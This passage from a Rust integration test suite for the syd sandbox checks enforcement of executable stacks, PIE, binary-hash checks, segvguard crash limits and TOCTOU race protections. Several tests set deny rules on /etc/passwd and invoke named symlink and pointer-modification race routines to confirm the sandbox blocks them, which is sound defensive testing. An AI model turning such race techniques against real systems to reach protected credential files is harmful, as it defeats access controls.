cc exit.c -static -no-pie -o exit
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
# SAFETY: Integration test suite sets unsafe_nopie:1
test -c /dev/syd/trace/allow_unsafe_nopie:0 || exit 1
./exit && exit 2
test -c /dev/syd/trace/allow_unsafe_nopie:1 || exit 3
./exit
test -c /dev/syd/trace/allow_unsafe_nopie:0 || exit 4
./exit && exit 5
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_enforce_execstack_dynamic() -> TestResult {
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

cc exit.c -fPIE -pie -zexecstack -o exit
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
# SAFETY: Integration test suite sets unsafe_nopie:1
test -c /dev/syd/trace/allow_unsafe_nopie:0 || exit 1
./exit && exit 2
test -c /dev/syd/trace/allow_unsafe_stack:1 || exit 3
./exit
test -c /dev/syd/trace/allow_unsafe_stack:0 || exit 4
./exit && exit 5
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_enforce_execstack_static() -> TestResult {
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

cc exit.c -static-pie -zexecstack -o exit
test $? -eq 0 || exit 128
# SAFETY: Integration test suite sets unsafe_nopie:1
test -c /dev/syd/trace/allow_unsafe_nopie:0 || exit 1
./exit && exit 2
test -c /dev/syd/trace/allow_unsafe_stack:1 || exit 3
./exit
test -c /dev/syd/trace/allow_unsafe_stack:0 || exit 4
./exit && exit 5
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_enforce_execstack_nested_routine() -> TestResult {
    if !check_nested_routines() {
        // Nested routines not supported.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // Executable stack is disabled by default.
    let status = syd()
        .p("off")
        .args(["./nested", "0"])
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    // The restriction may be relaxed with trace/allow_unsafe_stack:1.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_stack:1")
        .args(["./nested", "0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_enforce_execstack_self_modifying() -> TestResult {
    if !check_self_modifying_xs() {
        // Self-modifying code not supported on this arch.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // Executable stack is disabled by default.
    let status = syd()
        .p("off")
        .arg("./selfmod")
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    // The restriction may be relaxed with trace/allow_unsafe_stack:1.
    // However this will now be stopped by the next restriction: MDWE.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_stack:1")
        .arg("./selfmod")
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // MDWE may be relaxed with trace/allow_unsafe_memory:1.
    // With these two knobs off, self-modifying code is free to execute.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .m("trace/allow_unsafe_stack:1")
        .arg("./selfmod")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_enforce_mprotect_self_modifying() -> TestResult {
    if !check_self_modifying_mp() {
        // Self-modifying code not supported on this arch.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // mprotect(PROT_EXEC) is killed by default.
    let status = syd()
        .p("off")
        .arg("./selfmod")
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // The restriction may be relaxed with trace/allow_unsafe_memory:1.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .arg("./selfmod")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_enforce_execstack_on_mmap_noexec_rtld_now() -> TestResult {
    skip_unless_available!("cc", "sh");

    // Compile a library.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library!");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Expect dynamic library load with RTLD_NOW to succeed.
    let status = syd()
        .p("off")
        .m("allow/exec,read,stat+/***")
        .do_("dlopen_now", ["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != 128 {
        assert_status_ok!(status);
    } else {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_enforce_execstack_on_mmap_noexec_rtld_lazy() -> TestResult {
    skip_unless_available!("cc", "sh");

    // Compile a library.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library!");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Expect dynamic library load with RTLD_LAZY to succeed.
    let status = syd()
        .p("off")
        .m("allow/exec,read,stat+/***")
        .do_("dlopen_lazy", ["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != 128 {
        assert_status_ok!(status);
    } else {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_enforce_execstack_on_mmap_exec_rtld_now() -> TestResult {
    skip_unless_available!("cc", "sh");

    // Compile a library with executable stack.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF

cc -Wall -Wextra load.c -shared -o load-xs.so -fPIC -zexecstack || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library!");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Expect dynamic library load with RTLD_NOW and execstack to fail.
    let status = syd()
        .p("off")
        .m("allow/exec,read,stat+/***")
        .do_("dlopen_now", ["./load-xs.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != 128 {
        assert_status_killed!(status);
    } else {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_enforce_execstack_on_mmap_exec_rtld_lazy() -> TestResult {
    skip_unless_available!("cc", "sh");

    // Compile a library with executable stack.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF

cc -Wall -Wextra load.c -shared -o load-xs.so -fPIC -zexecstack || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library!");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Expect dynamic library load with RTLD_LAZY and execstack to fail.
    let status = syd()
        .p("off")
        .m("allow/exec,read,stat+/***")
        .do_("dlopen_lazy", ["./load-xs.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != 128 {
        assert_status_killed!(status);
    } else {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_enforce_execstack_on_mmap_exec_rtld_now_unsafe() -> TestResult {
    skip_unless_available!("cc", "sh");

    // Compile a library with executable stack.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF

cc -Wall -Wextra load.c -shared -o load-xs.so -fPIC -zexecstack || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library!");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Expect dynamic library load with RTLD_NOW and execstack to succeed with unsafe_stack:1
    // For gl*bc we need trace/allow_unsafe_memory:1 or this will be killed at mprotect boundary.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .m("trace/allow_unsafe_stack:1")
        .m("allow/exec,read,stat+/***")
        .do_("dlopen_now", ["./load-xs.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != 128 {
        assert_status_ok!(status);
    } else {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_enforce_execstack_on_mmap_exec_rtld_lazy_unsafe() -> TestResult {
    skip_unless_available!("cc", "sh");

    // Compile a library with executable stack.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <errno.h>
int func(void) { return errno; }
EOF

cc -Wall -Wextra load.c -shared -o load-xs.so -fPIC -zexecstack || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library!");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Expect dynamic library load with RTLD_LAZY and execstack to succeed with unsafe_stack:1
    // For gl*bc we need trace/allow_unsafe_memory:1 or this will be killed at mprotect boundary.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .m("trace/allow_unsafe_stack:1")
        .m("allow/exec,read,stat+/***")
        .do_("dlopen_lazy", ["./load-xs.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != 128 {
        assert_status_ok!(status);
    } else {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_force_sandbox() -> TestResult {
    skip_unless_available!("true");

    let bad_md5 = "a".repeat(32);
    let bad_sha1 = "a".repeat(40);
    let bad_sha256 = "a".repeat(64);
    let bad_sha384 = "a".repeat(96);
    let bad_sha512 = "a".repeat(128);

    // Note, `which" returns canonicalized path.
    let bin_true = which("true").expect("syd-test-do in PATH");

    let md5_sum = syd::hash::hash(
        BufReader::new(File::open(&bin_true).expect("open syd-test-do")),
        HashAlgorithm::Md5,
    )?
    .to_lower_hex_string();
    let sha1_sum = syd::hash::hash(
        BufReader::new(File::open(&bin_true).expect("open syd-test-do")),
        HashAlgorithm::Sha1,
    )?
    .to_lower_hex_string();
    let sha256_sum = syd::hash::hash(
        BufReader::new(File::open(&bin_true).expect("open syd-test-do")),
        HashAlgorithm::Sha256,
    )?
    .to_lower_hex_string();
    let sha384_sum = syd::hash::hash(
        BufReader::new(File::open(&bin_true).expect("open syd-test-do")),
        HashAlgorithm::Sha384,
    )?
    .to_lower_hex_string();
    let sha512_sum = syd::hash::hash(
        BufReader::new(File::open(&bin_true).expect("open syd-test-do")),
        HashAlgorithm::Sha512,
    )?
    .to_lower_hex_string();

    // Test 1: Force sandboxing defaults.
    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:allow")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:warn")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:kill")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    // Test 2: Force sandboxing allow with MD5 & SHA1,3-{256,384,512}
    // We set default/force:warn so as not to care about dynamic libraries.
    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:warn")
        .m(format!("force+{bin_true}:{md5_sum}:kill"))
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:warn")
        .m(format!("force+{bin_true}:{sha1_sum}:kill"))
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:warn")
        .m(format!("force+{bin_true}:{sha256_sum}:kill"))
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:warn")
        .m(format!("force+{bin_true}:{sha384_sum}:kill"))
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:warn")
        .m(format!("force+{bin_true}:{sha512_sum}:kill"))
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:warn")
        .m(format!("force+{bin_true}:{bad_md5}:kill"))
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:warn")
        .m(format!("force+{bin_true}:{bad_sha1}:kill"))
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:warn")
        .m(format!("force+{bin_true}:{bad_sha256}:kill"))
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:warn")
        .m(format!("force+{bin_true}:{bad_sha384}:kill"))
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    let status = syd()
        .p("off")
        .m("sandbox/force:on")
        .m("default/force:warn")
        .m(format!("force+{bin_true}:{bad_sha512}:kill"))
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    Ok(())
}

fn test_syd_segvguard_core_safe() -> TestResult {
    skip_unless_available!("perl");

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do__("segv")
        .argv(["perl", "-e"])
        .arg(format!(
            r#"
use strict;
use warnings;
use POSIX qw(:errno_h :signal_h :sys_wait_h);

# WCOREDUMP is not POSIX.
sub wcoredump {{
    my $status = shift;
    return ($status & 128) != 0;
}}

# Common variables.
my $pid;
my $sig;
my $code;
my $status;

# segvguard/maxcrashes is set to 5 by default.
my $coredumps = 0; # safe mode, may never trigger segvguard.
for my $i (1..5) {{
    $pid = fork();
    if ($pid == 0) {{ # Child process
        exec('{syd_do}') or exit($!); # Exit with the actual errno
    }}

    waitpid($pid, 0);
    $status = $?;
    if (WIFEXITED($status)) {{
        $code = WEXITSTATUS($status);
        die "process $i did not dump core but exited with code $code\n";
    }} elsif (WIFSIGNALED($status)) {{
        warn "process $i was terminated by signal " . WTERMSIG($status) . "\n";
        if (wcoredump($status)) {{
            $coredumps += 1;
            warn "process $i dumped core.\n";
        }} else {{
            warn "process $i did not dump core.\n";
        }}
    }} else {{
        die "process $i exited unexpectedly with status $status\n";
    }}
}}

warn "caused $coredumps coredumps, proceeding...\n";

# Now segvguard must block
$pid = fork();
if ($pid == 0) {{
    exec('{syd_do}') or exit($!); # Exit with the actual errno
}}
waitpid($pid, 0);
$status = $?;
if (WIFSIGNALED($status)) {{
    $sig = WTERMSIG($status);
    if ($sig == SIGKILL) {{
        warn "execution was prevented by segvguard\n";
    }} else {{
        die "process was terminated with unexpected signal $sig\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

# Ensure segvguard allows everything else.
$pid = fork();
if ($pid == 0) {{
    exec('true') or exit($!); # Exit with the actual errno
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    if ($code == 0) {{
        warn "execution was allowed by segvguard\n";
    }} else {{
        die "process exited with unexpected code $code\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

# Disable segvguard and retry!
if (-c '/dev/syd/segvguard/expiry:0') {{
    warn "segvguard disabled"
}} else {{
    die "failed to disable segvguard"
}}

# Now segvguard must allow
$pid = fork();
if ($pid == 0) {{
    exec('{syd_do}') or exit($!); # Exit with the actual errno
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    die "process was not terminated but exited with code $code\n";
}} elsif (WIFSIGNALED($status)) {{
    warn "process was terminated by signal " . WTERMSIG($status) . "\n";
    if (wcoredump($status)) {{
        warn "process dumped core.\n";
    }} else {{
        warn "process did not dump core.\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

1;
    "#,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_segvguard_core_unsafe() -> TestResult {
    skip_unless_coredumps!();
    skip_unless_available!("perl");

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("trace/allow_unsafe_prlimit:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do__("segv")
        .argv(["perl", "-e"])
        .arg(format!(
            r#"
use strict;
use warnings;
use POSIX qw(:errno_h :signal_h :sys_wait_h);

# WCOREDUMP is not POSIX.
sub wcoredump {{
    my $status = shift;
    return ($status & 128) != 0;
}}

# Common variables.
my $pid;
my $sig;
my $code;
my $status;

# segvguard/maxcrashes is set to 5 by default.
for my $i (1..5) {{
    $pid = fork();
    if ($pid == 0) {{ # Child process
        exec('{syd_do}') or exit($!); # Exit with the actual errno
    }}

    waitpid($pid, 0);
    $status = $?;
    if (WIFEXITED($status)) {{
        $code = WEXITSTATUS($status);
        die "process $i did not dump core but exited with code $code\n";
    }} elsif (WIFSIGNALED($status) && wcoredump($status)) {{
        warn "process $i dumped core as expected\n";
    }} else {{
        die "process $i exited unexpectedly with status $status\n";
    }}
}}

# Now segvguard must block
$pid = fork();
if ($pid == 0) {{
    exec('{syd_do}') or exit($!); # Exit with the actual errno
}}
waitpid($pid, 0);
$status = $?;
if (WIFSIGNALED($status)) {{
    $sig = WTERMSIG($status);
    if ($sig == SIGKILL) {{
        warn "execution was prevented by segvguard\n";
    }} else {{
        die "process was terminated with unexpected signal $sig\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

# Ensure segvguard allows everything else.
$pid = fork();
if ($pid == 0) {{
    exec('true') or exit($!); # Exit with the actual errno
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    if ($code == 0) {{
        warn "execution was allowed by segvguard\n";
    }} else {{
        die "process exited with unexpected code $code\n";
    }}
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

# Disable segvguard and retry!
if (-c '/dev/syd/segvguard/expiry:0') {{
    warn "segvguard disabled"
}} else {{
    die "failed to disable segvguard"
}}

# Now segvguard must allow
$pid = fork();
if ($pid == 0) {{
    exec('{syd_do}') or exit($!); # Exit with the actual errno
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    die "process did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status) && wcoredump($status)) {{
    warn "process dumped core as expected\n";
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

1;
    "#,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_segvguard_suspension_safe() -> TestResult {
    skip_unless_available!("perl");

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do__("segv")
        .argv(["perl", "-e"])
        .arg(format!(
            r#"
use strict;
use warnings;
use POSIX qw(:errno_h :sys_wait_h);

# WCOREDUMP is not POSIX.
sub wcoredump {{
    my $status = shift;
    return ($status & 128) != 0;
}}

# Common variables.
my $pid;
my $code;
my $status;

# Set segvguard suspension to 10 seconds.
if (-c '/dev/syd/segvguard/suspension:10') {{
    warn "segvguard suspension set to 10 seconds"
}} else {{
    die "failed to set segvguard suspension"
}}

my $coredumps = 0; # safe mode, may never trigger segvguard.
for my $i (1..5) {{
    $pid = fork();
    if ($pid == 0) {{ # Child process
        exec('{syd_do}') or exit($!); # Exit with the actual errno
    }}

    waitpid($pid, 0);
    $status = $?;
    if (WIFEXITED($status)) {{
        $code = WEXITSTATUS($status);
        die "process $i did not dump core but exited with code $code\n";
    }} elsif (WIFSIGNALED($status)) {{
        warn "process $i was terminated by signal " . WTERMSIG($status) . "\n";
        if (wcoredump($status)) {{
            $coredumps += 1;
            warn "process $i dumped core.\n";
        }} else {{
            warn "process $i did not dump core.\n";
        }}
    }} else {{
        die "process $i exited unexpectedly with status $status\n";
    }}
}}

warn "caused $coredumps coredumps, proceeding...\n";

# Ensure segvguard suspension expires.
warn "waiting 10 seconds for segvguard suspension to expire...";
sleep 10;

# Now segvguard must allow.
$pid = fork();
if ($pid == 0) {{
    exec('{syd_do}') or exit($!); # Exit with the actual errno
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    die "process did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status) && wcoredump($status)) {{
    warn "process dumped core as expected\n";
}} elsif (WIFSIGNALED($status)) {{
    warn "process terminated with signal " . WTERMSIG($status) . " without coredump\n";
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

1;
    "#,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_segvguard_suspension_unsafe() -> TestResult {
    skip_unless_coredumps!();
    skip_unless_available!("perl");

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("trace/allow_unsafe_prlimit:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do__("segv")
        .argv(["perl", "-e"])
        .arg(format!(
            r#"
use strict;
use warnings;
use POSIX qw(:errno_h :sys_wait_h);

# WCOREDUMP is not POSIX.
sub wcoredump {{
    my $status = shift;
    return ($status & 128) != 0;
}}

# Common variables.
my $pid;
my $code;
my $status;

# Set segvguard suspension to 10 seconds.
if (-c '/dev/syd/segvguard/suspension:10') {{
    warn "segvguard suspension set to 10 seconds"
}} else {{
    die "failed to set segvguard suspension"
}}

# segvguard/maxcrashes is set to 5 by default.
for my $i (1..5) {{
    $pid = fork();
    if ($pid == 0) {{ # Child process
        exec('{syd_do}') or exit($!); # Exit with the actual errno
    }}

    waitpid($pid, 0);
    $status = $?;
    if (WIFEXITED($status)) {{
        $code = WEXITSTATUS($status);
        die "process $i did not dump core but exited with code $code\n";
    }} elsif (WIFSIGNALED($status) && wcoredump($status)) {{
        warn "process $i dumped core as expected\n";
    }} else {{
        die "process $i exited unexpectedly with status $status\n";
    }}
}}

# Ensure segvguard suspension expires.
warn "waiting 10 seconds for segvguard suspension to expire...";
sleep 10;

# Now segvguard must allow.
$pid = fork();
if ($pid == 0) {{
    exec('{syd_do}') or exit($!); # Exit with the actual errno
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    die "process did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status) && wcoredump($status)) {{
    warn "process dumped core as expected\n";
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

1;
    "#,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_symlink_toctou() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .m("deny/stat+/etc/***")
        .m("allow/stat+/etc/ld*")
        .m("deny/read,write+/etc/passwd")
        .do_("symlink_toctou", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_symlinkat_toctou() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .m("deny/stat+/etc/***")
        .m("allow/stat+/etc/ld*")
        .m("deny/read,write+/etc/passwd")
        .do_("symlinkat_toctou", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_ptrmod_toctou_exec_fail() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/toctou_exec")
        .m("filter/exec+/**/toctou_exec")
        .do_("ptrmod_toctou_exec_fail", NONE)
        .status()
        .expect("execute syd");
    // FIXME: https://bugzilla.kernel.org/show_bug.cgi?id=218501
    ignore!(status.success(), "status:{status:?}");
    Ok(())
}

fn test_syd_ptrmod_toctou_exec_success_quick() -> TestResult {
    // Test requires /bin/false to be denylisted.
    // false may point to various alternatives such
    // as gfalse, coreutils, busybox etc.
    let f = Path::new("/bin/false").canonicalize().expect("/bin/false");
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/toctou_exec")
        .m("filter/exec+/**/toctou_exec")
        .m(format!("deny/exec+{}", f.display()))
        .m(format!("filter/exec+{}", f.display()))
        .do_("ptrmod_toctou_exec_success_quick", NONE)
        .status()
        .expect("execute syd");
    const EXKILL: i32 = 128 + nix::libc::SIGKILL;
    assert!(
        matches!(status.code().unwrap_or(127), 0 | EXKILL),
        "status:{status:?}"
    );
    Ok(())
}

fn test_syd_ptrmod_toctou_exec_success_double_fork() -> TestResult {
    // Test requires /bin/false to be denylisted.
    // false may point to various alternatives such
    // as gfalse, coreutils, busybox etc.
    let f = Path::new("/bin/false").canonicalize().expect("/bin/false");
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/toctou_exec")
        .m("filter/exec+/**/toctou_exec")
        .m(format!("deny/exec+{}", f.display()))
        .m(format!("filter/exec+{}", f.display()))
        .do_("ptrmod_toctou_exec_success_double_fork", NONE)
        .status()
        .expect("execute syd");
    const EXKILL: i32 = 128 + nix::libc::SIGKILL;
    assert!(
        matches!(status.code().unwrap_or(127), 0 | EXKILL),
        "status:{status:?}"
    );
    Ok(())
}

fn test_syd_ptrmod_toctou_exec_success_quick_no_mitigation() -> TestResult {
    // Test requires /bin/false to be denylisted.
    // false may point to various alternatives such
    // as gfalse, coreutils, busybox etc.
    let f = Path::new("/bin/false").canonicalize().expect("/bin/false");
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/toctou_exec")
        .m("filter/exec+/**/toctou_exec")
        .m(format!("deny/exec+{}", f.display()))
        .m(format!("filter/exec+{}", f.display()))
        .do_("ptrmod_toctou_exec_success_quick", NONE)
        .status()
        .expect("execute syd");
    const EXKILL: i32 = 128 + nix::libc::SIGKILL;
    ignore!(
        matches!(status.code().unwrap_or(127), 0 | EXKILL),
        "status:{status:?}"
    );
    Ok(())
}

fn test_syd_ptrmod_toctou_exec_success_double_fork_no_mitigation() -> TestResult {
    // Test requires /bin/false to be denylisted.
    // false may point to various alternatives such
    // as gfalse, coreutils, busybox etc.
    let f = Path::new("/bin/false").canonicalize().expect("/bin/false");
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/toctou_exec")
        .m("filter/exec+/**/toctou_exec")
        .m(format!("deny/exec+{}", f.display()))
        .m(format!("filter/exec+{}", f.display()))
        .do_("ptrmod_toctou_exec_success_double_fork", NONE)
        .status()
        .expect("execute syd");
    const EXKILL: i32 = 128 + nix::libc::SIGKILL;
    ignore!(
        matches!(status.code().unwrap_or(127), 0 | EXKILL),
        "status:{status:?}"
    );
    Ok(())
}

fn test_syd_ptrmod_toctou_open() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
        .m("deny/stat+/etc/***")
        .m("allow/stat+/etc/ld*")
        .m("deny/read,write+/etc/passwd")
        .do_("ptrmod_toctou_open", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_ptrmod_toctou_creat() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat,write+/***")
